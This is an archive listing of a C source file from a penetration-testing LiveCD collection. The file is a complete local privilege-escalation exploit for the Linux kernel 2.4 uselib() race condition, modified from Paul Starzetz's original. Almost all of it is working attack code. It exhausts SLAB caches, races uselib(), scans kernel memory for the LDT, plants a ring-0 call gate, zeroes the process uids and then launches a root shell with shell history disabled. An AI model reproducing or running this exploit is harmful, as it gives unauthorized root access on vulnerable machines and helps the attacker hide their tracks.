home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / uselib24.c < prev    next >
C/C++ Source or Header  |  2005-03-05  |  19KB  |  938 lines

  1. /*
  2.  * Linux kernel 2.4 uselib() privilege elevation exploit.
  3.  *
  4.  * original exploit source from http://isec.pl
  5.  * reference: http://isec.pl/vulnerabilities/isec-0021-uselib.txt
  6.  *
  7.  * I modified the Paul Starzetz's exploit, made it more possible
  8.  * to race successfully. The exploit still works only on 2.4 series.  
  9.  * It should be also works on 2.4 SMP, but not easy. 
  10.  *
  11.  * thx newbug.
  12.  *
  13.  * Tim Hsu <timhsu at chroot.org> Jan 2005.
  14.  *
  15.  */
  16.  
  17. #define _GNU_SOURCE
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <fcntl.h>
  23. #include <unistd.h>
  24. #include <errno.h>
  25. #include <sched.h>
  26. #include <syscall.h>
  27. #include <limits.h>
  28.  
  29. #include <sys/types.h>
  30. #include <sys/wait.h>
  31. #include <sys/time.h>
  32. #include <sys/mman.h>
  33. #include <sys/sysinfo.h>
  34.  
  35. #include <linux/elf.h>
  36. #include <linux/linkage.h>
  37.  
  38. #include <asm/page.h>
  39. #include <asm/ldt.h>
  40. #include <asm/segment.h>
  41.  
  42. #define str(s) #s
  43. #define xstr(s) str(s)
  44.  
  45. #define MREMAP_MAYMOVE  1
  46.  
  47.  
  48. //    temp lib location
  49. #define LIBNAME     "/tmp/_elf_lib"
  50.  
  51. //    shell name
  52. #define    SHELL        "/bin/bash"
  53.  
  54. //    time delta to detect race
  55. #define RACEDELTA    5000
  56.  
  57. //    if you have more deadbabes in memory, change this
  58. #define MAGIC        0xdeadbabe
  59.  
  60.  
  61. //    do not touch
  62. #define    SLAB_THRSH    128
  63. #define    SLAB_PER_CHLD    (INT_MAX - 1)
  64. #define LIB_SIZE    ( PAGE_SIZE * 4 )
  65. #define STACK_SIZE    ( PAGE_SIZE * 4 )
  66.  
  67. #define LDT_PAGES    ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
  68.  
  69. #define ENTRY_GATE    ( LDT_ENTRIES-1 )
  70. #define SEL_GATE    ( (ENTRY_GATE<<3)|0x07 )
  71.  
  72. #define ENTRY_LCS    ( ENTRY_GATE-2 )
  73. #define SEL_LCS        ( (ENTRY_LCS<<3)|0x04 )
  74.  
  75. #define ENTRY_LDS    ( ENTRY_GATE-1 )
  76. #define SEL_LDS        ( (ENTRY_LDS<<3)|0x04 )
  77.  
  78. #define kB        * 1024
  79. #define MB        * 1024 kB
  80. #define GB        * 1024 MB
  81.  
  82. #define TMPLEN        256
  83. #define PGD_SIZE    ( PAGE_SIZE*1024 )
  84.  
  85.  
  86. extern char **environ;
  87.  
  88. static char cstack[STACK_SIZE];
  89. static char name[TMPLEN];
  90. static char line[TMPLEN];
  91.  
  92. static pid_t consume_pid;
  93.  
  94. static volatile int
  95.     val = 0,
  96.     go = 0,
  97.     finish = 0,
  98.     scnt = 0,
  99.     ccnt=0,
  100.     delta = 0,
  101.     delta_max = RACEDELTA,
  102.     map_flags = PROT_WRITE|PROT_READ;
  103.  
  104.  
  105. static int
  106.     fstop=0,
  107.     silent=0,
  108.     pidx,
  109.     pnum=0,
  110.     smp_max=0,
  111.     smp,
  112.     wtime=2,
  113.     cpid,
  114.     uid,
  115.     task_size,
  116.     old_esp,
  117.     lib_addr,
  118.     map_count=0,
  119.     map_base=0,
  120.     map_addr,
  121.     addr_min,
  122.     addr_max,
  123.     vma_start,
  124.     vma_end,
  125.     max_page;
  126.  
  127.  
  128. static struct timeval tm1, tm2;
  129.  
  130. static char *myenv[] = {"TERM=vt100",
  131.             "HISTFILE=/dev/null",
  132.             NULL};
  133.  
  134. static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
  135.                          "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
  136.  
  137.  
  138. static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
  139.  
  140.  
  141.  
  142. #define __NR_sys_gettimeofday    __NR_gettimeofday
  143. #define __NR_sys_sched_yield    __NR_sched_yield
  144. #define __NR_sys_madvise    __NR_madvise
  145. #define __NR_sys_uselib        __NR_uselib
  146. #define __NR_sys_mmap2        __NR_mmap2
  147. #define __NR_sys_munmap        __NR_munmap
  148. #define __NR_sys_mprotect    __NR_mprotect
  149. #define __NR_sys_mremap        __NR_mremap
  150.  
  151. inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
  152.  
  153. inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
  154.  
  155. inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
  156. inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
  157. inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
  158.  
  159. inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
  160. inline _syscall2(int, sys_munmap, int, a, int, b);
  161.  
  162. inline _syscall1(int, sys_uselib, char*, l);
  163.  
  164. inline _syscall0(void, sys_sched_yield);
  165.  
  166.  
  167. int consume_memory()
  168. {
  169.     struct sysinfo info;
  170.     char *vmem;
  171.     
  172.     sysinfo(&info);
  173.     vmem = malloc(info.freeram);
  174.     if (vmem == NULL)
  175.     {
  176.         perror("malloc");
  177.         return -1;
  178.     }
  179.     memset(vmem, 0x90, info.freeram);
  180.  
  181. }
  182.  
  183.  
  184. inline int tmdiff(struct timeval *t1, struct timeval *t2)
  185. {
  186. int r;
  187.  
  188.     r=t2->tv_sec - t1->tv_sec;
  189.     r*=1000000;
  190.     r+=t2->tv_usec - t1->tv_usec;
  191. return r;
  192. }
  193.  
  194.  
  195. void fatal(const char *message, int critical)
  196. {
  197. int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
  198.  
  199.     if(!errno) {
  200.         fprintf(stdout, "\n[-] FAILED: %s ", message);
  201.     } else {
  202.         fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
  203.             (char*) (strerror(errno)) );
  204.     }
  205.     if(critical)
  206.         printf("\nCRITICAL, entering endless loop");
  207.     printf("\n");
  208.     fflush(stdout);
  209.  
  210.     unlink(libname);
  211.     kill(cpid, SIGKILL);
  212.     for(;;) kill(0, sig);
  213. }
  214.  
  215.  
  216. //    try to race do_brk sleeping on kmalloc, may need modification for SMP
  217. int raceme(void* v)
  218. {
  219.     finish=1;
  220.  
  221.     for(;;) {
  222.         errno = 0;
  223.  
  224. //    check if raced:
  225. recheck:
  226.         if(!go) sys_sched_yield();
  227.         sys_gettimeofday(&tm2, NULL);
  228.         delta = tmdiff(&tm1, &tm2);
  229.         if(!smp_max && delta < (unsigned)delta_max) goto recheck;
  230.         smp = smp_max;
  231.  
  232. //    check if lib VMAs exist as expected under race condition
  233. recheck2:
  234.         val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
  235.         if(val) continue;
  236.         errno = 0;
  237.         val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
  238.                 LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  239.         if( !val || (val<0 && errno!=ENOMEM) ) continue;
  240.  
  241. //    SMP?
  242.         smp--;
  243.         if(smp>=0) goto recheck2;
  244.  
  245. //    recheck race
  246.         if(!go) continue;
  247.         finish++;
  248.  
  249. //    we need to free one vm_area_struct for mmap to work
  250.         val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
  251.         if(val) fatal("mprotect", 0);
  252.         val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
  253.                   MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  254.         if(-1==val) fatal("mmap2 race", 0);
  255.         printf("\n[+] race won maps=%d", map_count); fflush(stdout);
  256.         kill(consume_pid, SIGKILL);
  257.         _exit(0);
  258.     }
  259.  
  260. return 0;
  261. }
  262.  
  263.  
  264. int callme_1()
  265. {
  266.     return val++;
  267. }
  268.  
  269.  
  270. inline int valid_ptr(unsigned ptr)
  271. {
  272.     return ptr>=task_size && ptr<addr_min-16;
  273. }
  274.  
  275.  
  276. inline int validate_vma(unsigned *p, unsigned s, unsigned e)
  277. {
  278. unsigned *t;
  279.  
  280.     if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
  281.         t=(unsigned*)p[3];
  282.         if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
  283.             return 1;
  284.     }
  285.     return 0;
  286. }
  287.  
  288.  
  289. asmlinkage void kernel_code(unsigned *task)
  290. {
  291. unsigned *addr = task;
  292.  
  293. //    find & reset uids
  294.     while(addr[0] != uid || addr[1] != uid ||
  295.           addr[2] != uid || addr[3] != uid)
  296.         addr++;
  297.  
  298.     addr[0] = addr[1] = addr[2] = addr[3] = 0;
  299.     addr[4] = addr[5] = addr[6] = addr[7] = 0;
  300.  
  301. //    find & correct VMA
  302.     for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
  303.         if( validate_vma(addr, vma_start, vma_end) ) {
  304.             addr[1] = task_size - PAGE_SIZE;
  305.             addr[2] = task_size;
  306.             break;
  307.         }
  308.     }
  309. }
  310.  
  311.  
  312. void kcode(void);
  313.  
  314. //    CPL0 code mostly stolen from cliph
  315. void __kcode(void)
  316. {
  317. asm(
  318.     "kcode:                        \n"
  319.     "    pusha                    \n"
  320.     "    pushl    %es                \n"
  321.     "    pushl    %ds                \n"
  322.     "    movl    $(" xstr(SEL_LDS) ") ,%edx    \n"
  323.     "    movl    %edx,%es            \n"
  324.     "    movl    %edx,%ds            \n"
  325.     "    movl    $0xffffe000,%eax        \n"
  326.     "    andl    %esp,%eax            \n"
  327.     "    pushl    %eax                \n"
  328.     "    call    kernel_code            \n"
  329.     "    addl    $4, %esp            \n"
  330.     "    popl    %ds                \n"
  331.     "    popl    %es                \n"
  332.     "    popa                    \n"
  333.     "    lret                    \n"
  334.     );
  335. }
  336.  
  337.  
  338. int callme_2()
  339. {
  340.     return val + task_size + addr_min;
  341. }
  342.  
  343.  
  344. void sigfailed(int v)
  345. {
  346.     ccnt++;
  347.     fatal("lcall", 1);
  348. }
  349.  
  350.  
  351. //    modify LDT & exec
  352. void try_to_exploit(unsigned addr)
  353. {
  354. volatile int r, *v;
  355.  
  356.     printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
  357.     unlink(libname);
  358.  
  359.     r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
  360.     if(r) fatal("mprotect 1", 1);
  361.  
  362. //    check if really LDT
  363.     v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
  364.     signal(SIGSEGV, sigfailed);
  365.     r = *v;
  366.     if(r != MAGIC) {
  367.         printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
  368.         fatal("find LDT", 1);
  369.     }
  370.  
  371. //    yeah, setup CPL0 gate
  372.     v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
  373.     v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
  374.     printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
  375.  
  376. //    setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
  377.     v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  378.     v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
  379.     v[1] = 0x00cf9b00;
  380.  
  381.     v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  382.     v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
  383.     v[1] = 0x00cf9300;
  384.  
  385. //    reprotect to get only one big VMA
  386.     r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
  387.     if(r) fatal("mprotect 2", 1);
  388.  
  389. //    CPL0 transition
  390.     sys_sched_yield();
  391.     val = callme_1() + callme_2();
  392.     asm("lcall $" xstr(SEL_GATE) ",$0x0");
  393.     //if( getuid()==0 || (val==31337 && strlen(hellc0de)==31337) ) {
  394.     if (getuid()==0) {
  395.         printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
  396.     } else {
  397.         printf("\n[-] uid change failed" ); fflush(stdout);
  398.         sigfailed(0);
  399.     }
  400.     signal(SIGTERM, SIG_IGN);
  401.     kill(0, SIGTERM);
  402.     setresuid(0, 0, 0);
  403.     execl(shellname, "sh", NULL);
  404.     fatal("execl", 0);
  405. }
  406.  
  407.  
  408. void scan_mm_finish();
  409. void scan_mm_start();
  410.  
  411.  
  412. //    kernel page table scan code
  413. void scan_mm()
  414. {
  415.     map_addr -= PAGE_SIZE;
  416.     if(map_addr <= (unsigned)addr_min)
  417.         scan_mm_start();
  418.  
  419.     scnt=0;
  420.     val = *(int*)map_addr;
  421.     scan_mm_finish();
  422. }
  423.  
  424.  
  425. void scan_mm_finish()
  426. {
  427. retry:
  428.     __asm__("movl    %0, %%esp" : :"m"(old_esp) );
  429.  
  430.     if(scnt) {
  431.         pagemap[pidx] ^= 1;
  432.     }
  433.     else {
  434.         sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
  435.     }
  436.     pidx--;
  437.     scan_mm();
  438.     goto retry;
  439. }
  440.  
  441.  
  442. //    make kernel page maps before and after allocating LDT
  443. void scan_mm_start()
  444. {
  445. static int npg=0;
  446. static struct modify_ldt_ldt_s l;
  447. //static struct user_desc l;
  448.     pnum++;
  449.     if(pnum==1) {
  450.         pidx = max_page-1;
  451.     }
  452.     else if(pnum==2) {
  453.         memset(&l, 0, sizeof(l));
  454.         l.entry_number = LDT_ENTRIES-1;
  455.         l.seg_32bit = 1;
  456.         l.base_addr = MAGIC >> 16;
  457.         l.limit = MAGIC & 0xffff;
  458.         l.limit_in_pages = 1;
  459.         if( modify_ldt(1, &l, sizeof(l)) != 0 )
  460.             fatal("modify_ldt", 1);
  461.         pidx = max_page-1;
  462.     }
  463.     else if(pnum==3) {
  464.         npg=0;
  465.         for(pidx=0; pidx<=max_page-1; pidx++) {
  466.             if(pagemap[pidx]) {
  467.                 npg++;
  468.             }
  469.             else if(npg == LDT_PAGES) {
  470.                 npg=0;
  471.                 try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
  472.             } else {
  473.                 npg=0;
  474.             }
  475.         }
  476.         fatal("find LDT", 1);
  477.     }
  478.  
  479. //    save context & scan page table
  480.     __asm__("movl    %%esp, %0" : :"m"(old_esp) );
  481.     map_addr = addr_max;
  482.     scan_mm();
  483. }
  484.  
  485.  
  486. //    return number of available SLAB objects in cache
  487. int get_slab_objs(const char *sn)
  488. {
  489. static int c, d, u = 0, a = 0;
  490. FILE *fp=NULL;
  491. char x1[20];
  492.  
  493.     fp = fopen("/proc/slabinfo", "r");
  494.     if(!fp)
  495.         fatal("get_slab_objs: fopen", 0);
  496.     fgets(name, sizeof(name) - 1, fp);
  497.     do {
  498.         c = u = a = -1;
  499.         if (!fgets(line, sizeof(line) - 1, fp))
  500.             break;
  501.         c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
  502.                &d, &d, &d, &d);
  503.     } while (strcmp(name, sn));
  504.     close(fileno(fp));
  505.     fclose(fp);
  506.     return c == 7 ? a - u : -1;
  507. }
  508.  
  509. long memmaped_size = 0;
  510.  
  511. //    leave one object in the SLAB
  512. inline void prepare_slab()
  513. {
  514. int *r;
  515.  
  516.     map_addr -= PAGE_SIZE;
  517.     map_count++;
  518.     map_flags ^= PROT_READ;
  519.         
  520.     r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
  521.                  MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  522.     if(MAP_FAILED == r) {
  523.         printf("--> prepare_slab(), %dMb\n", memmaped_size/1024/1024);
  524.         fatal("try again", 0);
  525.     }
  526.     memmaped_size += PAGE_SIZE;
  527.     *r = map_addr;
  528. }
  529.  
  530.  
  531. //    sig handlers
  532. void segvcnt(int v)
  533. {
  534.     scnt++;
  535.     scan_mm_finish();
  536. }
  537.  
  538.  
  539. //    child reap
  540. void reaper(int v)
  541. {
  542.     ccnt++;
  543.     waitpid(0, &v, WNOHANG|WUNTRACED);
  544. }
  545.  
  546.  
  547. //    sometimes I get the VMAs in reversed order...
  548. //    so just use anyone of the two but take care about the flags
  549. void check_vma_flags();
  550.  
  551. void vreversed(int v)
  552. {
  553.     map_flags = 0;
  554.     check_vma_flags();
  555. }
  556.  
  557.  
  558. void check_vma_flags()
  559. {
  560.     if(map_flags) {
  561.         __asm__("movl    %%esp, %0" : :"m"(old_esp) );
  562.     } else {
  563.         __asm__("movl    %0, %%esp" : :"m"(old_esp) );
  564.         goto out;
  565.     }
  566.     signal(SIGSEGV, vreversed);
  567.     val = * (unsigned*)(lib_addr + PAGE_SIZE);
  568. out:
  569. }
  570.  
  571.  
  572. //    use elf library and try to sleep on kmalloc
  573. void exploitme()
  574. {
  575. int r, sz, pcnt=0;
  576. static char smiley[]="-\\|/-\\|/";
  577.  
  578. //    printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
  579. //    helper clone
  580.     finish=0; ccnt=0;
  581.     sz = sizeof(cstack) / sizeof(cstack[0]);
  582.     cpid = clone(&raceme, (void*) &cstack[sz-16],
  583.             CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
  584.     if(-1==cpid) fatal("clone", 0);
  585.  
  586. //    synchronize threads
  587.     while(!finish) sys_sched_yield();
  588.     finish=0;
  589.     if(!silent) {
  590.         printf("\n"); fflush(stdout);
  591.     }
  592.  
  593. //    try to hit the kmalloc race
  594.     for(;;) {
  595.  
  596.         r = get_slab_objs("vm_area_struct");
  597.         //printf("\nfree slab = %d\n",r);
  598.         while(r != 1 && r > 0) {
  599.             prepare_slab();
  600.             r--;
  601.         }
  602.  
  603.         sys_gettimeofday(&tm1, NULL);
  604.         go = 1;
  605.         r=sys_uselib(libname);
  606.         go = 0;
  607.         if(r) fatal("uselib", 0);
  608.         if(finish) break;
  609.  
  610. //    wipe lib VMAs and try again
  611.         r = sys_munmap(lib_addr, LIB_SIZE);
  612.         if(r) fatal("munmap lib", 0);
  613.         if(ccnt) goto failed;
  614.  
  615.         if( !silent && !(pcnt%64) ) {
  616.             printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
  617.             fflush(stdout);
  618.         }
  619.         pcnt++;
  620.     }
  621.  
  622. //    seems we raced, free mem
  623.     r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
  624.     if(r) fatal("munmap 1", 0);
  625.     r = sys_munmap(lib_addr, PAGE_SIZE);
  626.     if(r) fatal("munmap 2", 0);
  627.     
  628. //    relax kswapd
  629.     sys_gettimeofday(&tm1, NULL);
  630.     for(;;) {
  631.         sys_sched_yield();
  632.         sys_gettimeofday(&tm2, NULL);
  633.         delta = tmdiff(&tm1, &tm2);
  634.         if( wtime*1000000U <= (unsigned)delta ) break;
  635.     }
  636.  
  637. //    we need to check the PROT_EXEC flag
  638.     map_flags = PROT_EXEC;
  639.     check_vma_flags();
  640.     if(!map_flags) {
  641.         printf("\n    VMAs reversed"); fflush(stdout);
  642.     }
  643.  
  644. //    write protect brk's VMA to fool vm_enough_memory()
  645.     r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
  646.              PROT_READ|map_flags);
  647.     if(-1==r) { fatal("mprotect brk", 0); }
  648.  
  649. //    this will finally make the big VMA...
  650.     sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
  651. expand:
  652.     r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
  653.             LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  654.     if(r) fatal("madvise", 0);
  655.     r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
  656.             PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
  657.     if(-1==r) {
  658.         if(0==sz) {
  659.             fatal("mremap: expand VMA", 0);
  660.         } else {
  661.             sz -= PAGE_SIZE;
  662.             goto expand;
  663.         }
  664.     }
  665.     vma_start = lib_addr + PAGE_SIZE;
  666.     vma_end = vma_start + sz + 2*PAGE_SIZE;
  667.     printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
  668.     fflush(stdout);
  669.  
  670. //    try to figure kernel layout
  671.     signal(SIGCHLD, reaper);
  672.     signal(SIGSEGV, segvcnt);
  673.     signal(SIGBUS, segvcnt);
  674.     scan_mm_start();
  675.  
  676. failed:
  677.     printf("failed:\n");
  678.     fatal("try again", 0);
  679.  
  680. }
  681.  
  682.  
  683. //    make fake ELF library
  684. void make_lib()
  685. {
  686. struct elfhdr eh;
  687. struct elf_phdr eph;
  688. static char tmpbuf[PAGE_SIZE];
  689. int fd;
  690.  
  691. //    make our elf library
  692.     umask(022);
  693.     unlink(libname);
  694.     fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
  695.     if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
  696.     memset(&eh, 0, sizeof(eh) );
  697.  
  698. //    elf exec header
  699.     memcpy(eh.e_ident, ELFMAG, SELFMAG);
  700.     eh.e_type = ET_EXEC;
  701.     eh.e_machine = EM_386;
  702.     eh.e_phentsize = sizeof(struct elf_phdr);
  703.     eh.e_phnum = 1;
  704.     eh.e_phoff = sizeof(eh);
  705.     write(fd, &eh, sizeof(eh) );
  706.  
  707. //    section header:
  708.     memset(&eph, 0, sizeof(eph) );
  709.     eph.p_type = PT_LOAD;
  710.     eph.p_offset = 4096;
  711.     eph.p_filesz = 4096;
  712.     eph.p_vaddr = lib_addr;
  713.     eph.p_memsz = LIB_SIZE;
  714.     eph.p_flags = PF_W|PF_R|PF_X;
  715.     write(fd, &eph, sizeof(eph) );
  716.  
  717. //    execable code
  718.     lseek(fd, 4096, SEEK_SET);
  719.     memset(tmpbuf, 0x90, sizeof(tmpbuf) );
  720.     write(fd, &tmpbuf, sizeof(tmpbuf) );
  721.     close(fd);
  722. }
  723.  
  724.  
  725. //    move stack down #2
  726. void prepare_finish()
  727. {
  728. int r;
  729. static struct sysinfo si;
  730.  
  731.     old_esp &= ~(PAGE_SIZE-1);
  732.     old_esp -= PAGE_SIZE;
  733.     task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
  734.     r = sys_munmap(old_esp, task_size-old_esp);
  735.     if(r) fatal("unmap stack", 0);
  736.  
  737. //    setup rt env
  738.     uid = getuid();
  739.     lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
  740.     if(map_base)
  741.         map_addr = map_base;
  742.     else
  743.         map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
  744.     printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
  745.         old_esp, task_size, map_base); fflush(stdout);
  746.  
  747. //    check physical mem & prepare
  748.     sysinfo(&si);
  749.     addr_min = task_size + si.totalram;
  750.     addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
  751.     addr_max = addr_min + si.totalram;
  752.     if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
  753.         addr_max = 0xffffd000;
  754.  
  755.     printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
  756.     max_page = (addr_max - addr_min) / PAGE_SIZE;
  757.     pagemap = malloc( max_page + 32 );
  758.     if(!pagemap) fatal("malloc pagemap", 1);
  759.     memset(pagemap, 0, max_page + 32);
  760.  
  761. //    go go
  762.     make_lib();
  763.     exploitme();
  764. }
  765.  
  766.  
  767. //    move stack down #1
  768. void prepare()
  769. {
  770. unsigned p=0;
  771.  
  772.     environ = myenv;
  773.  
  774.     p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
  775.                MAP_PRIVATE|MAP_ANONYMOUS, 0, 0    );
  776.     if(-1==p) fatal("mmap2 stack", 0);
  777.     p += STACK_SIZE - 64;
  778.  
  779.     __asm__("movl    %%esp, %0    \n"
  780.         "movl     %1, %%esp    \n"
  781.         : : "m"(old_esp), "m"(p)
  782.     );
  783.  
  784.     prepare_finish();
  785. }
  786.  
  787.  
  788. void chldcnt(int v)
  789. {
  790.     ccnt++;
  791. }
  792.  
  793.  
  794. //    alloc slab objects...
  795. inline void do_wipe()
  796. {
  797. int *r, c=0, left=0;
  798.  
  799.     __asm__("movl    %%esp, %0" : : "m"(old_esp) );
  800.  
  801.     old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
  802.     old_esp = map_base? map_base : old_esp;
  803.  
  804.     for(;;) {
  805.         if(left<=0)
  806.             left = get_slab_objs("vm_area_struct");
  807.         if(left <= SLAB_THRSH)
  808.             break;
  809.         left--;
  810.  
  811.         map_flags ^= PROT_READ;
  812.         old_esp -= PAGE_SIZE;
  813.         r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
  814.             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
  815.         if(MAP_FAILED == r)
  816.             break;
  817.  
  818.         if(c>SLAB_PER_CHLD)
  819.             break;
  820.         if( (c%1024)==0 ) {
  821.             if(!c) printf("\n");
  822.             printf("\r    child %d VMAs %d", val, c);
  823.             fflush(stdout);
  824.         }
  825.         c++;
  826.     }
  827.     printf("\r    child %d VMAs %d", val, c);
  828.     fflush(stdout);
  829.     kill(getppid(), SIGUSR1);
  830.     for(;;) pause();
  831. }
  832.  
  833.  
  834. //    empty SLAB caches
  835. void wipe_slab()
  836. {
  837.     signal(SIGUSR1, chldcnt);
  838.     printf("\n[+] SLAB cleanup"); fflush(stdout);
  839.     for(;;) {
  840.         ccnt=0;
  841.         val++;
  842.         cpid = fork();
  843.         if(!cpid)
  844.             do_wipe();
  845.  
  846.         while(!ccnt) sys_sched_yield();
  847.         if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
  848.             break;
  849.     }
  850.     signal(SIGUSR1, SIG_DFL);
  851. }
  852.  
  853.  
  854. void usage(char *n)
  855. {
  856.     printf("\nUsage: %s\t-f forced stop\n", n);
  857.     printf("\t\t-s silent mode\n");
  858.     printf("\t\t-c command to run\n");
  859.     printf("\t\t-n SMP iterations\n");
  860.     printf("\t\t-d race delta us\n");
  861.     printf("\t\t-w wait time seconds\n");
  862.     printf("\t\t-l alternate lib name\n");
  863.     printf("\t\t-a alternate addr hex\n");
  864.     printf("\n");
  865.     _exit(1);
  866. }
  867.  
  868.  
  869. //    give -s for forced stop, -b to clean SLAB
  870. int main(int ac, char **av)
  871. {
  872. int r;
  873.  
  874.     while(ac) {
  875.         r = getopt(ac, av, "n:l:a:w:c:d:fsh");
  876.         if(r<0) break;
  877.  
  878.         switch(r) {
  879.  
  880.         case 'f' :
  881.             fstop = 1;
  882.             break;
  883.  
  884.         case 's' :
  885.             silent = 1;
  886.             break;
  887.  
  888.         case 'n' :
  889.             smp_max = atoi(optarg);
  890.             break;
  891.  
  892.         case 'd':
  893.             if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
  894.                 fatal("bad delta value", 0);
  895.             break;
  896.  
  897.         case 'w' :
  898.             wtime = atoi(optarg);
  899.             if(wtime<0) fatal("bad wait value", 0);
  900.             break;
  901.  
  902.         case 'l' :
  903.             libname = strdup(optarg);
  904.             break;
  905.  
  906.         case 'c' :
  907.             shellname = strdup(optarg);
  908.             break;
  909.  
  910.         case 'a' :
  911.             if(1!=sscanf(optarg, "%x", &map_base))
  912.                 fatal("bad addr value", 0);
  913.             map_base &= ~(PGD_SIZE-1);
  914.             break;
  915.  
  916.         case 'h' :
  917.         default:
  918.             usage(av[0]);
  919.             break;
  920.         }
  921.     }
  922.     consume_pid = fork();
  923.     
  924.     if (consume_pid == 0)
  925.     {
  926.         consume_memory();
  927.         pause();
  928.         return 0;
  929.     }
  930. //    basic setup
  931.     uid = getuid();
  932.     setpgrp();
  933.     wipe_slab();
  934.     prepare();
  935.  
  936. return 0;
  937. }
  938.